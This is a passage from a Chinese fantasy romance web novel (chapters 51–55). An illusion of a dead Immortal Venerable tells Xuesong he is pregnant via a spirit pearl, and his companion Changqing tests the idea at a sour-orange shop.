幻象愣了一下,像是没料到会有这样的回答,又像是正在思考,过了一会儿,神色温和而空洞,给出了回答:“我想起来了,是有那么一件事,那一年的气候变幻莫测,你说你没有住处,我给了你一处房子,你说你想要院子,我把房子周围的空地圈了起来,你说你想要一棵树,我就在院里种了一棵,你说你想要酒,我就把酒坛埋在了树边,你还没住多久,就下雪了,你那会儿还没怎么见过雪,很是兴奋,高兴得一直在雪地里玩,我劝你,你还是想玩,当天晚上就病倒了,偏偏我第二天早上有事要走,晚上郎中又不开门,只能叫你先睡一觉。”
幻象像个人工智能似的,一脸认真编了一大串的故事,好像说的全都是真的一样,信誓旦旦,眼中闪烁着神采,望向了雪松,仿佛试图用一张更大的幻象做的网来套住他,语气更加温和:“幸好你没事,否则,我这辈子,也没办法放下心来的。”
长青和鸟狠狠打了个哆嗦。
仙尊对雪松予取予求,一起住,一起玩,虽然离开却放心不下,甚至也许远隔千里,还牵肠挂肚。
哪怕变成幻象,或者说只剩下幻象,居然也还记得雪松曾经在他眼前生病过的事情,这还不能被称之为爱吗?已经到了不能再进一步的地步了吧?感情浓烈到这种程度是怎么舍得分开的?
又是怎么舍得一声不吭的?往常那些情侣不是,确定关系就恨不得昭告天下吗?怎么他们两个反而,在一起之后,还更加销声匿迹了?
等等,难道那个时候还没在一起?那就说得通了!没想到,仙尊追人,居然也如此温柔小意,情长牵绊,真叫人不可思议!
雪松挑了挑眉,无论如何,他是不可能把对方错认为曾经当仙尊的自己,因此只把对面当一个新奇有趣的玩具,听了对面如此情真意切的话,也只是仿佛有些轻佻,笑道:“一场小病而已,何必赔上你的一辈子?”
长青不由得皱了皱眉。
以雪松对仙尊的感情,现在说的一听就是反话!看来当初必定是生了一场大病,几乎要死了,只不过,雪松肯定是不会怪仙尊不在身边的,最多,是想临死之前再见一面,以了心愿,又不肯打扰,仙尊才会这样上心,说出一辈子的话来。
是担心一时不慎就会失去对方吧?感情越浓,所能感受到的失落越大,所能体会到的失去越多,难以想象,雪松一个人是怎样熬过仙尊死去的日子的。
更难以想象,当初面临垂死的雪松,仙尊又是怎样,忍住痛苦悲伤,若无其事出现在其他人面前,仍然像平时一样去做那些,和雪松毫无关系的事,而没有被任何人发现,他心里有一个即将死去的雪松。
一阵狂风吹过,柳枝簌簌作响,水面翻腾,天空乌云密布,地面绿油油的草叶覆起白霜,悄无声息中,冰凉的雪花片片飘落。
“昔我来时,杨柳依依,今我来思,雨雪霏霏。”幻象仙尊伸出手去,接了一片雪,若有所思,喃喃自语。
雪在瞬间融化。
第52章
“既然下雪了, ”幻象牵起雪松的手,像是牵起一个比自己小几百岁的孩子,十分温和说, “你身体不好, 我带你到旁边的房子去避一避吧?我住在附近,正好可以给你倒一杯热茶。”
雪松挑了挑眉, 没想到还能挖掘出来这种设定, 笑着点了点头:“好啊。”他也想看看,幻境里还能制造出怎样的房子来。
幻象把雪松带到了不远处的房子, 推开门把他请了进去,屋子里有一颗拳头大的夜明珠正在发光, 把整间屋子照得亮堂堂的。
雪松坐在了厅堂桌边的凳子上, 幻象关上门, 走到桌边, 拎起了桌上那个碧玉翡翠茶壶,把倒扣着的翡翠小杯放在桌上, 把热气腾腾的茶水倒了出来。
茶汤碧绿如洗, 泛着微微的涟漪,整个房间里都弥漫着氤氲细腻的茶香,像是起了雾一般,越发朦胧,如同转瞬即逝的梦。
“请。”幻象把那个杯子放在了雪松面前,目光温和, 注视着他,轻轻说。
雪松点了点头道了谢,碰了碰那个杯子,那是个触手生温的法器, 里面刻着阵法,正在缓缓运转着,温度似乎正好。
他几乎是在茶香的引诱下品了一口,是上好的茶,他的神色有微妙的变化,这茶是他曾经喝过的。
想当初,他做仙尊的时候,来东海之前,他路过一个茶摊,就顺脚进去休息,但别人是摆摊卖茶的,他光在那坐着,也不太好。
所以他就付了钱,买了一杯茶,坐在那里品,顺便润润嗓子,虽然他并没有那么渴,不过这也不要紧。
茶摊老板是个留胡子弯着腰的老人,精神面貌和皮肤状态还好,身上有一股浓郁的茶味,似乎干这行有年头了,都被腌入味儿了,收了钱,笑眯眯就提着茶壶过来给他放了一个碗,把茶倒了进去,让他慢慢喝,不用着急。
他点了点头,端起了那个碗,那是个挺老的碗了,边缘是磨砂质感,红棕色和淡黄色相互交错,看起来用了很久,与此同时,听见新进来的客人,喊老板叫,老茶爷。
他尝了一口那碗茶,一股浓郁的茶香扑面而来,在他口腔中爆炸,弥漫到脸颊,以至于让他觉得整张脸都在发麻,头皮微微颤抖着,好像下一刻就能自己飞走,他不得不怀疑,也许这是练习飞头蛮的前置条件。
不过在他把那口茶吞下去的时候,那种浑身颤栗的感觉消失了,他能感觉到浓郁的茶香像是活着的蝴蝶一样,顺着他的喉咙,进入了他的食管,溜到他的胃里,在里面转了一圈之后,总算是勉强停了下来,好像找了个合适的位置,准备休息了。
他几乎能想象出那一团香气浓郁的茶水在他胃里转了一圈之后,像一只秋天火炉旁把尾巴盖在身上的猫一样,一动不动。
这究竟是什么茶?!
他不是没有喝过茶。他喝过很多茶,红茶,绿茶,花茶,水果茶,陈旧的碎茶叶泡出来的茶,集天地灵气孕育而成的经过炼制的上品仙茶,但没有哪一种茶像这样。
这样特别,这样令人惊讶,这样印象深刻。尤其是价钱,便宜到一种根本不会让人起疑的地步,他在付钱的时候,可想不到有这回事!
他喝完了那碗茶,能够很明显感觉到自己周身的灵气在欢呼雀跃,身体里的经脉更宽更厚了一层,提升的瓶颈松动了,身体里储存的灵力,也更加精纯,富有生命力和攻击力。
他沉默着坐了一会儿,直到旁边的客人走掉了,他才回过神来,抬起头一看,老板已经准备收摊了,笑眯眯看着他问:“还要再来一碗吗?”
他摆了摆手,顿了顿,犹豫着问:“这茶……是什么茶?”
老板笑着回答:“一种普通的茶。”
他挑了挑眉,并不相信:“我尝起来倒像是,昆山白茶,上品中的上品,说不定,那白茶还比不过这个呢。”
“如果是这样,”老板挑了挑眉,“那我这是神仙茶——”
雪松若有所思,老板用一种像是忽悠小猫玩溜溜球的表情,摇头晃脑笑眯眯说:“知道什么叫神仙茶吗?神仙做,神仙喝,只有神仙才品得出来神仙滋味的茶,就叫神仙茶!”
这词儿听起来倒挺顺。
“那这神仙茶多吗?”雪松眨了眨眼睛,感觉对面是在忽悠,但又隐约觉得,也未必不是真的,就试探着问。
“说多也多,说不多也不多,”老板像是玩弄走迷宫的老鼠一样,笑眯眯说,“想多的时候多,想少的时候少。”
雪松将信将疑点了点头:“我能买一包茶叶吗?一点就行。”
老板摇了摇头:“这茶不单卖。”
“那要怎么才能卖?”雪松好奇问道。
“你要真心想买,那才买得走,”老板似真似假说,“你不是真心想要,你拿不走的。”
雪松不是很听得懂,但能感觉到老板现在没有要卖给他的意思,点了点头,起身道:“谢谢款待,那我先走了?”
老板笑着点了点头:“您慢走!”
现在想来,当初老板说,真心想买才买得到,未必不是真话,他随便一问,所以得不到,但他真心想要的时候,茶已经在他那儿了,只是他不知道,所以弄丢了,被制作幻境的人收起来了,也有可能是,被这里收集起来的气息藏起来了。
“怎么?”幻象看着雪松问:“这茶不好吗?”
雪松摇了摇头:“不是不好,是很好,你用这茶来待客,这有多少?”
幻象看着他笑了一下:“没有多少,不过一壶罢了,但这里十天半个月也没有客人,所以不用担心,如果你喜欢,这一壶都可以是你的。”
长青倒吸一口凉气。
闻起来香气如此浓郁,这是神仙茶?传说中,可遇而不可求,只有真心人才能得到的,神秘莫测,数量极其稀少的,神仙茶?
这样特别的茶,居然能随手拿出来招待客人?仙尊不愧是仙尊!就连幻象中也如此大方,真是一点儿也不叫人失望。
而且最后那一句完全是表白吧?
雪松挑了挑眉,将信将疑问:“其他客人来的时候,你也会给他们上这样的茶吗?”
长青摸摸下巴。这种话听起来像是吃醋?没想到雪松也会说这种话。
他一直以来,都很平静淡然,像是心已经死了,现在看来,他只是面对其他人毫无波动罢了。
仙尊在他心里果然有不可动摇的地位!
幻象若有所思,看着他说:“其实,我只邀请了你,其他人,从来没有进来过,他们只是在外面走一走,就回去了。”
长青握起了拳头。他们果然是双向奔赴!就连幻境中的仙尊也只会邀请雪松一个人进自己的住处!
这还不足以说明特殊之处吗?对仙尊而言,雪松就和神仙茶一样吧?可遇而不可求,是只有付出真心才能得到的,独一无二?
“你记得?”雪松有些惊讶。
长青若有所思。还以为雪松已经沉浸在幻境之中了,没想到还记得,那里面可能有其他人去过,这究竟是清醒还是不清醒呢?
清醒着沉沦是无可奈何,不清醒中,忽然灵光一现,是理智在千钧一发时,给自己唯一的启示,无论如何,爱是真的,痛苦也是。
“记得,”幻象点了点头,“毕竟这里,一直以来都很无聊。他们又不会待很久,要记下来,也不是很难。”
他顿了顿,观察着雪松的神色,又说:“我没有很想记住他们,但一不小心就记住了,不太容易忘掉,就这样了。”
红色鸟激动地直扑扇着翅膀。这完全是因为恋人吃醋而担心恋人生气或者怀疑自己移情别恋而迫不及待给出的解释吧?
这根本就是情侣!
雪松点了点头,又抿了一口茶。
这茶和记忆中的一样,只不过,更热一些,香气也更浓郁,或许因为这里关了门,不像茶棚四面漏风,香味没那么容易逸散。
他有一瞬间几乎怀疑这里面其实加了一点之前尝过的茶没有的东西,也许是心脏,也许是血液,也许,他一低头就可以看见眼睛。
但他想了想,就算这里是个幻境,对面好歹也披着一层仙尊的皮,应该不会干那种,恐吓的事吧?这可不像是仙尊会做的事。
他把杯子放下。
幻象望着他,往前走了一步,神色担忧问:“你怎么不喝了?不合口味吗?还是——”
幻象顿了顿,像是愧疚,又像是不好意思,低声问:“孩子在闹你?”
雪松猛然一惊,整个人如同被石化一般愣在原地,露出目瞪口呆的表情,随后剧烈咳嗽起来,差点没喘过气:“你说什么?!!”
幻象连忙靠近他,一边抬手轻轻给他拍背,一边饱含歉意低声道:“你不知道?也许我不该提。但你不要太激动。事已至此,还是先平静下来,考虑考虑,之后应该怎么办吧?”
第53章
“不不不, ”好不容易喘过气来,雪松连忙摆手,深吸一口气, 抬起头来, 瞪大眼睛,满脸不可置信, 嘴唇甚至有些因为过于震惊而哆嗦, 盯着面前的幻象问,“你刚才说什么?你再说一遍?”
长青在远处, 没怎么听清幻象压低声音说的那句话,反而因为雪松的咳嗽, 听清了他之后说的那句, 升起了浓浓的疑惑。
他们在谈什么呢?雪松居然这么惊讶?难道是那个幻象又语出惊人了?可是之前已经说了那么多的话, 没道理现在才感到惊讶吧?
那就是连雪松自己也不知道的事情, 居然被幻象点出来了?看雪松震惊中带着抗拒的表情,显然就算知情也不想接受, 那能是什么?
应该不会是仙尊的死亡, 毕竟这是早就已经知道的事,那就是和仙尊有关了?毕竟只有和仙尊有关的事情,才能让雪松产生如此剧烈的情绪波动。
可是,什么事情和仙尊有关,又和雪松有关?难道是——
“你,怀孕了, 你不知道吗?”幻象眨巴着眼睛,犹犹豫豫望着雪松,迟疑着小声问。
虽然这一次的声音还是和之前一样小声,但雪松屏气凝神盯着对面, 一点多余的杂音都没发出,长青和红色鸟也好像死了一样安静,仿佛老太太捏着细线穿针一样集中注意力,毫无疑问,这一次他们都听见了,而且听得很清楚。
长青倒吸一口凉气。
怪不得雪松这样激动!这就说得通了!原来如此!这就是一件既和仙尊有关,又和雪松有关,而且雪松之前不知道,可一旦知道就会产生剧烈情绪波动的事!完全对上了!
通红的眼眶,是因为过于激动和震惊,惨白的脸色,是猝不及防和始料未及,是身体虚弱和情绪剧烈波动,眼中的泪花,是高兴和悲伤的结合,高兴仙尊居然有后,悲伤仙尊不能亲自听到这个消息。
呜呜,雪松对仙尊的感情真是深厚啊!
这下子,连雪松为什么在遇到小村子有魔族诅咒的时候,选择立刻下去帮忙,都可以解释了——
也许是出于某种有孩子之后所冒出来的慈爱怜悯的本能,而本人在那个时候还尚未察觉原因,只是受到了身体和情感的驱使,几乎毫不犹豫做了那样的事,哪怕会因此冒生命危险,也并不退缩和后悔。
是啊,不管是仙尊还是雪松,他们都是这样的人,总是要在自己力所能及的时候,给陷入危险的人提供帮助,而不关心自己是否可能因此受伤。
真令人感动啊!不过这么一想,魔尊更可恨了一点!平白无故拆散别人小情侣干什么!难道还真以为,把别人的灵魂塞进自己制作的人偶里,就等于别人的灵魂也是自己的人偶了吗?简直是在做梦!
事情一定是这样的,雪松和仙尊青梅竹马,但是雪松先死掉了,仙尊就离开了那座山,入了宗门,崭露头角之后,魔尊对仙尊心存怨恨,制作了人偶,但又嫌弃人偶没有真实性,于是抓了游荡在外的灵魂,塞进了人偶之中,用以折磨,恰好抓住了已死的游荡的雪松的灵魂。
后来,仙尊发现自己爱人的灵魂被塞进了人偶中,怒而前去,和魔尊打斗一番,将已经被封存在人偶中的爱人带走,安置在了专门挑选的院落中。
这就又对上雪松和幻象之前的对话了!雪松不是说他和仙尊初见在春日柳旁吗?
一定是仙尊,见他满身伤痕,心有不忍,不想让他为过去的痛苦所累,抹除了他的记忆,疗愈了他的伤口,让他以为自己本来就是一个离群索居的普通的村民,所以他以为,他们的初见,是在春日柳旁,实际上,是更早以前。
仙尊抹除他的记忆,自然不会希望他想起从前的痛苦,也就不会对他提,他们其实是久别重逢,在更早以前,就已经见过,而且,渊源深厚。
想来那个时候,仙尊如果不是受了伤,也不会出现在雪松面前,毕竟,怎么早不去晚不去,偏要受伤去?
可见其实没受伤的时候尚且能克制住自己,受了伤之后,神志不清,就毫不犹豫去了自己魂牵梦绕之所,见了自己朝思暮想之人。
在见到的时候才回过神来,意识到自己不该来,可是已经来了,见了人,更舍不得走,半推半就,也就去了小屋同住。
之后的事情,连幻象也知道,否则,雪松为什么不反驳?想来是不忍心吧。哪怕清楚知道面前的人是假的,也还是想多看一眼。
听着对面一字一句说出曾经的事情,雪松的心里又是怎么想的呢?想必是心如刀绞吧。
本来和他谈论过去的,应该是仙尊,可仙尊已经死了,他只能对着一个幻象,在熟悉得不能再熟悉的声音中,回忆往昔。
这真是——
物是人非事事休,欲语泪先流!
怎一个惨字了得?
“我不知道,”雪松下意识回答之后顿了顿,皱紧眉头,毫不犹豫说,“实际上,根本就不存在你说的那种情况!”
“可是,”幻象一脸为难看着他说,“你真的感觉不到吗?你的身体里多了一个东西。一个从前不属于你的东西,现在正在逐渐和你建立联系。”
雪松若有所思,听这个描述,不像是什么活着的东西,倒像是没注意的时候被什么跟上了。
他低下头检查起来,伸手往口袋里一摸,摸到了藏在里面的亡灵珠,亡灵珠见逃不掉了,讨好似的,在他手心里滚了滚,仿佛一只试图用毛茸茸的头蹭人的猫。
雪松捏着那颗珠子,想起来这可能是什么,没有把手从口袋里抽出来,只是沉默了一会儿说:“我明白你的意思了,不用再提了。”
事已至此,时间应该不早了,该玩的已经玩过了,该说的也说过了,该走了,雪松站起身来,对幻象道别:“我要回去了。”
“你今天不住在这儿吗?”幻象试图挽留他,看起来可怜巴巴的。
“谢谢,但是不用了,”雪松摆了摆手,“我跟别人一起出来的,如果太晚不回去,别人或许会以为我出事了,有空我下次再来看你。”
这话说得,幻象仿佛是什么被关在笼子里的小宠物一样。
幻象愣了一下,目光落在他的腹部,一种留恋的眼神转了转,仿佛把自己当成了那个不存在的孩子的亲生父亲一样,声音温和道:“那好,我等你下次来。”
雪松点了点头,感觉自己被那种奇怪的目光看得有点头皮发麻,立刻走掉了,离开幻境的范围之后,一切恢复原状,他仍然站在那个冰凉的潮湿的街口。
周围没有其他人,四周都安静极了,远处有水浪的声音,滔滔作响,但越是仔细听,越觉得遥远,好像是从天边传来的。
再加上时间已晚,整个世界都陷在一种令人悲伤的朦胧之中,仿佛一场即将破灭的泡沫般的幻梦。
雪松加快脚步,离开这个路口,进入了不远处的另外一条街,这里出现了一些零星的行人,看起来稍微热闹一些,他放慢了脚步,辨认了一下方向,确认自己没有走错,向着之前的旅店走去。
次日一早,长青就去找雪松,请雪松一起出去吃早餐,雪松答应了,长青就近找了一个早餐摊子,和雪松一起坐了下来,点了单,就开始等。
老板很快把他们的早餐端了过来,雪松尝了一口,发现里面有一颗葱,脸色顿时变了,他不喜欢吃这个,尤其不想一大早上的就吃这个,因此,立刻站起身来,走到无人处去吐掉了。
长青坐在餐桌旁,看着雪松只尝了一口就走掉了,一开始还不知道为什么,所以没反应过来,却忽然听见旁边桌的人说:“我上回看见有人怀孕,就是吃一口就吐掉的,因为什么都吃不下去呢!”
长青猛然一惊。
不是吧,不是吧?不会是真的吧?那种事情真的发生了吗?就在眼前?雪松真的要为了死去的仙尊而使用亡灵珠?甚至现在已经、已经——
已经开始有反应了吗?!!!
那现在阻止岂不是已经来不及了?一定还有挽回的机会吧?正常怀胎都有堕胎药可用,使用亡灵珠强行违背天命,一定更容易流产吧?但如果真的失去了,雪松会难过吧?
怎么会这样?这叫人怎么办才好?假装不知道,就是眼睁睁看着雪松去死,要是说自己已经知道有这么一回事,雪松为了不被阻止,一定会跑吧?到时候一个人更危险吧?
该死的亡灵珠!
这下好了,长青一想到这件事,不管怎么办,都好像不合适,也开始有点食不下咽了。
不远处,忽然有人向他招手,他愣了一下,走过去问:“找我吗?”
“我们是安宁广场墓碑管理员,”一身黑衣的鲛人搓了搓手,“有一件事情,想要拜托您!”
第54章
“什么事?”长青皱了皱眉, 有些疑惑问。
管理员左右看了看,确认雪松现在暂时不会出现,大概也不会听见他们在说什么, 才神神秘秘低声道:“安宁广场里有仙尊的衣冠冢, 里面是一颗亡灵珠,但是, 您的朋友进去拜访了仙尊的墓碑之后, 那颗珠子就不见了。”
“你们在怀疑什么?”长青皱着眉头,感到有些烦躁问。
“那颗珠子很有可能被您的朋友身上所携带的仙尊的气息而吸引, ”管理员搓了搓手,吞吞吐吐问, “一不小心是有可能怀孕的, 您能替我们观察您的朋友最近的身体状况是否有所变化吗?这也是为了他着想, 毕竟, 他应该也不会愿意,突然意外失去性命吧?”
他一边说一边观察着长青的神色, 顿了顿, 发现长青没有立刻要发怒的意思,试探着问:“其实我们,想要知道这个,也只是为了确认情况和关心而已,并不是一定要拿回那颗珠子的意思,所以我们不会采取任何强制措施, 您能帮忙吗?如果需要帮助,我们也可以提供相应的措施。您看呢?”
长青犹豫了一会儿,咬了咬牙答应下来:“我答应!你们不要到他面前去说,我看他要么不知道, 要么想要瞒下来,不希望别人知道,你们要是在他面前暴露了什么,恐怕会打草惊蛇,他要是突然跑掉,那才不好。”
管理员连连点头:“我们明白!”他说着,掏出一块海星胸针递了过来:“您可以通过这块胸针随时联系我们,我们会接收消息的,需要帮助也可以通过这个东西来通知。虽然我们修为可能不太够,但我们对本地情况还算熟悉,一般事是帮得上忙的。”
长青接过那块胸针看了一眼,别在胸口点了点头:“我知道了。”
雪松已经从不远处走出来,向着桌边张望,好像正在寻找长青的样子,长青不想叫他起疑,就立刻说:“我的朋友好像在找我,我现在回去了,你们没事不要联系我,免得被发现,我会在独处的时候通知你们的。”
管理员点了点头:“好的。”
话音未落,长青已经向雪松走了过去,管理了一下表情,假装刚才什么事情也没发生,笑道:“你找我?”
雪松吃了一惊:“你刚才不是坐在桌子旁边吃东西吗?怎么突然从另外一个方向冒出来了?你做什么去了?”
“突然看见附近有卖东西的,看了一下,”长青若无其事拉住雪松,重新坐回刚才的桌边,笑道,“没想到你这会回来了。”
雪松将信将疑点了点头:“胸针挺漂亮。”
长青笑了笑,心里有点紧张,担心他看出来,但又觉得这东西表面上没什么异常,应该不至于被发现,因此,故作平静道:“我也觉得好看,所以立刻就戴上了。”
“很衬你,”雪松半信半疑打量了一下那东西,试探说,“不过之前没看见你戴胸针?”
“之前也没什么地方卖呀,”长青摆了摆手,不想继续说下去,“我还没吃完呢,你也吃?”
他说着,挑起自己碗里的面,尝了一口,稍微有点凉,但味道依然不错,吞下去之后,看向仍然没有动作的雪松:“你怎么不吃?没胃口吗?”
听说身体不舒服的人确实会没有胃口。这倒也不奇怪。只是这样,实在是更叫人担心了。
长青注视着雪松,等他回答,雪松垂下眼睛,看了一眼自己碗里的面,被一堆姜葱蒜扎了眼睛,实在没有什么心情,反正也不饿,就算不吃也不会死,因此摇了摇头,面色平静回答道:“不想吃了。”
长青点了点头,没有再问什么。看来果然是不舒服啊!不然,怎么会连摆在面前的东西都不吃呢?明明之前还是愿意吃面的。
之前和现在有什么不一样?现在有亡灵珠?果然是那颗珠子的问题!
长青神色复杂,吃完了一整碗面,站起身来,想了想,只看胃口,其实并不足以确定情况,应该再试探试探,就向雪松问:“要不要再逛一逛?也许可以找到什么喜欢吃的东西?我看之前你好像对什么东西感兴趣?”
“那好吧,”雪松想了想,耸了耸肩,“随便走走好了。”虽然现在并没想吃什么东西,也不太想走路,不过一直待在房间里,好像是有点虚度时光,走一走再回去也行。
长青走在前面左右看了看,发现不远处,有一家店正在卖酸橘子,脚步一顿,对雪松问:“要不要去那家店看看?那家店好像是卖食物的。”
雪松看了一眼,很无所谓,点了点头:“去吧。”
长青就向那家店走了过去,雪松也跟着走了进去,那家店摆满了酸橘子,每一只橘子都金灿灿的,看起来像是甜蜜蜜的好橘子,但每一个牌子上都很明确,写了酸那个字,那个字还尤其大,保证就算是眼睛不好,一眼看过去,也不会误以为这里是卖甜橘子的地方。
往前走了一段,雪松停了下来,站在一个被灯光照得亮堂堂的筐子面前,随手拿了一个看了看,又放了回去。
长青走过来看了看,发现有一排字写着,这是一个神秘的混合区,这里有比普通橘子更酸的酸橘子和比普通橘子更甜的甜橘子。
他拿起雪松刚刚放下去的那个,看了看,一个店员就冒了出来,微笑着对他说:“要尝尝看吗?每个顾客每日可以免费品尝一次哦!”
长青将信将疑,捏着那个看起来十分金灿灿的橘子,想了想说:“那就开这个给我尝一口吧。”
店员点了点头,手速飞快接了过去,在旁边的案板上切了起来,把橘子切成一片一片的,放进盘子里,端给了长青。
长青捏起一片,尝了一口,顿时被酸得歪倒了牙,皱起眉头,感觉自己的整张脸都颤抖了一下,所有接触到那片橘子的牙齿,都无法使用,发出了暂时休息的信号。
有一瞬间,他觉得自己的灵魂已经悄无声息从身体里飘了出去,因为被酸得无法忍受而飞走了。
他回过神来,正想阻止雪松品尝,雪松就已经也挑了一块儿,塞进嘴里咬了一口,长青觉得来不及了,如同雷击一般,顿在原地直勾勾看着雪松,不知会有什么反应。
不料,雪松看起来面色如常,十分轻松,还咀嚼了两口,慢慢细品之后才把那一小块儿的橘子肉吞了下去,眨了眨眼睛甚至微笑道:“味道不错?”其实是挺甜的。
也不知道怎么回事,这只橘子,简直像是太极盘的黑白两仪一样,一半酸一半甜,味道完全不一样。
长青拿到的是酸的部分,雪松拿到的是甜的部分,所以长青觉得自己快要被酸死了,但是雪松觉得味道还不错。
长青在心里倒吸一口凉气。那么酸的橘子,居然还能说出味道不错的话来?究竟是口味异于常人还是味觉已经有所变化?之前没看出来他有任何一点喜欢酸溜溜的东西的迹象,所以这是最近的喜好?
那颗亡灵珠果然改变了他的身体,不止让他感情上发生了变化,其实还让他的嗅觉也跟着受到了影响吧?不然怎么能面不改色,吃下那么酸的橘子?这可没那么容易假装。
店员看了看他们两个,见他们两个相顾无言,微笑着试图推销说:“我们店的酸橘子是有名的酸,吃到甜橘子都可以回来退货的,上次有个吃酸狂人过来买了一大堆,吃完了还要赞不绝口回来买呢,而且这些酸橘子很符合怀孕的口味哦!昨天就有一个人过来买了一大堆的酸橘子,说是要带回家给怀孕的人吃,那个人可喜欢了!”
雪松不是不清楚长青最近怎样猜测他,当时一顿,把正准备再尝一口甜橘子的手收了回去,若无其事,挪开了目光,同时试图修改话题:“是吗?可惜我们身边没有那样的人。真不好意思。”
长青张了张口,正想问店员说的,怀孕的人特别喜欢这里的酸橘子,是不是真的,听见雪松的话,哽住了。
没有那样的人?你自己不就是?那么酸的东西你面不改色就吞下去了,还想再尝一口,你敢说你不喜欢?
不喜欢酸的人,尝第一口的时候就已经想要打翻一盘子了,不会再伸手,想要拿第二次的!你明明就是喜欢,但是不好意思说!
果然是害羞吧,根本无法接受被别人知道想要隐瞒的那件事,所以假装自己其实并没有因为那件事而改变喜好,甚至不愿意在别人面前承认,自己受到那件事的影响后所变化的对于食物的喜好?
听起来莫名变辛苦了是怎么回事?而且,雪松刚才听见店员说话的时候,有一种上课开小差被老师点名要求回答问题的紧张感。
店员又没提他的名,他还能紧张什么?
第55章
果然是因为提到了怀孕所以觉得自己的伪装可能有所破绽而被发现才感到紧张和僵硬吧?!!
不过, 长青犹豫着想,就算现在雪松已经,对荤腥反应强烈, 有呕吐倾向, 喜好改变偏向嗜酸,也不能说明什么, 毕竟可能是偶发性的, 只是恰好撞上了而已,那就有可能是误会, 还是再观察观察吧。
店员眨巴眨巴眼睛,左右看了看, 发现他们两个好像都没有要买橘子的意思, 就试探着又说:“其实我们楼上有酸橘子火锅, 很多人都喜欢的, 尤其是怀孕的人,因为我们有特别设置的座位, 不管什么月份的人都合适, 二位要不要上去逛一逛,上面的橘子更多一些,也有甜的,也有辣的?”
雪松并不想上去,因为他对酸橘子并不感兴趣,对又甜又辣的橘子也不感兴趣, 他只觉得又甜又辣的橘子很是古怪,所以他看向长青问:“要去别的地方逛逛吗?”
长青眨巴着眼睛,假装没看见他想离开的眼神,往旁边的楼梯看了看, 顾左右而言他说:“其实我突然又有点饿了,我们现在上去好不好?”
“你不是刚吃过吗?”雪松感到疑惑。
之前那碗面,长青可是真吃完了的,刚才那片橘子他也吞下去了,虽然那橘子可能真的很酸,从他的脸上就看得出来,但也不至于这么快,就会觉得饿吧?那是什么特级开胃酸橘子啊?
这家店其实有在卖开胃药吧?他们其实是把开胃要装成酸橘子,切开来卖给别人吧?这家店的主要客人,其实是胃酸胃胀胃不舒服的人吧?这是家药店吧?!
“或许是因为刚才那片橘子太开胃了,”长青睁着眼睛说瞎话,一边往楼梯走,一边拉着雪松,迫不及待似的说,“总之我们上去看看吧!也不是一定要吃的,看一看再说?”
雪松看他这么想去,不再说什么,勉强陪他上去了。
到了二楼之后,这里果然有一片开阔区域摆满了餐桌椅子,一些客人坐在桌边,一边闲聊,一边吃东西。
“这里有什么能吃的呀?”长青走到工作人员面前问。
“酸甜橘子酱,橘子软糖,橘子甜糕,橘子糖葫芦,冰糖橘子汁,玫瑰橘子水,百合银耳橘子羹,橘子甜粥,橘子味开花馒头,橘子汁蒸米饭,橘子甜酒汤圆……”工作人员报菜名报了一串,随后微笑着指了指台子上的那张纸:“这是我们的菜单,您随意看,想要什么可以告诉我,包间也有空的,很适合二人聚餐噢!”
长青点了点头,拿起那张菜单看了起来,之后往前挪了两步,若无其事,压低声音向工作人员问:“这上面写的那个,这个,现在可以吃吗?”
他一边说一边把菜单递给工作人员指了指,工作人员定睛一看,发现他指的是菜单上特别标注的“孕期特供酸酸橘子开会餐”,神色微妙顿了顿,但还是微笑着回答:“当然可以,不过,您确定要这个吗?”
工作人员用尽可能十分平和的目光,扫了一下站在旁边往左右张望还不知道刚才发生了什么的雪松,眨巴着眼睛,不知道他们两个是闹别扭还是其中一个并不知道实情,因为不想泄露消息导致别人感情破裂而惹火上身,所以同样低声说:“这个是特供的,对于普通人,有些过于特别了,恐怕不是很方便品尝橘子呢。”
“没关系,”长青摆了摆手,本来只是想用这个试探一下雪松的身体状况,但是听了工作人员这么一说,连他也有点好奇,这东西究竟什么味道,很想现在尝一尝,“就要这个!”
虽然工作人员的态度和语言很有可能是为了勾起他的好奇心,让他为了好奇心选这个东西之后付钱,但他承认他的好奇心确实一时半会儿按捺不住了,为了好奇心,他一定要尝尝这东西什么味儿!
工作人员接过菜单顿了顿,还是忍不住提醒说:“这个东西因为味道特殊,接近定制,点了就不能半途退款哦?您真的确定吗?”
长青重重点头,工作人员继续说下去,他被勾起来的就不只是好奇心,还有叛逆心了,毫不犹豫肯定道:“我确定!”
工作人员不再劝下去,点了点头:“好的,我这就通知后厨,马上把食物给您端上来。不过,您是要在大厅吃还是要在包间吃呢?请问要坐哪张桌子?”
长青往外挪了两步,看向雪松问:“你要坐哪儿?”
雪松愣了一下,没想到他真要在这儿吃,明明他之前已经被酸橘子酸得脸都皱巴了,现在还不肯走,非要吃一口不可的样子,难道是被酸上瘾了不成?
“包间吧?”雪松犹豫着说。
至少,在包间被酸吐了,不至于太膈应别的客人。真要不想吃,放在那里,也不用担心被别的客人看见。
不过在包间的价格应该和大厅有一点区别?
他不确定,他试探着问:“你真要吃吗?”
长青点了点头,工作人员反复确定,他都说要吃,现在走算怎么回事?现在不想吃,那就算是被架起来了,不吃也得吃。更何况他是想吃的,他的好奇心还没被消磨殆尽。
“那钱?”雪松试探着问。
“我付!”长青拍了拍胸脯,毫不犹豫说。
别说是他非要吃这一顿,他应该付,就算不是他要吃,不管是作为前辈照顾晚辈,还是作为后辈照顾仙尊有孕在身的未亡人,付这个钱也没什么大不了的。
雪松将信将疑点了点头:“那好吧。”他不是怀疑长青付不起这个钱,他是怀疑长青根本付了钱吃不下去,不过反正不是他付钱,长青想买就买吧。
工作人员见他们商量好了,点了点头,把他们带到了包间,关上了门出去,很快就把一大堆的食物端了进来,又退了出去,临走对他们说,他们点的就是这些了。
雪松看了看桌子上,一小碗黄澄澄的酸橘子酱,一碟三块长方形的黄白色的酸橘子糕,一盘三块品字形叠在一起的金元宝状酸橘子夹心馒头,一碗只有三颗的金黄色的酸橘子汤圆,一碗黏黏糊糊的珍珠芋圆紫米银耳酸橘子羹……
没有一样,闻起来是不酸的,最多是纯酸和酸甜的区别。
雪松闻着满桌子的酸味,感觉自己的牙有一点歪歪的,还没有吃,已经开始有些许的反胃了,他向长青问:“你真吃得下去?”
长青闻到味道已经头皮发麻,不过既然是他坚持要的,他当然吃得下去,吃不下去也得吃得下去,这不只是钱的问题。
因此他点了点头:“吃!”
雪松不再说什么,只是从面前一堆食物中,找了一个看起来最甜的,尝了一口,勉强吞得下去,也就吃了一点,不过,即使这是最甜的那一个,他也没吃完,因为这东西本质还是酸的。
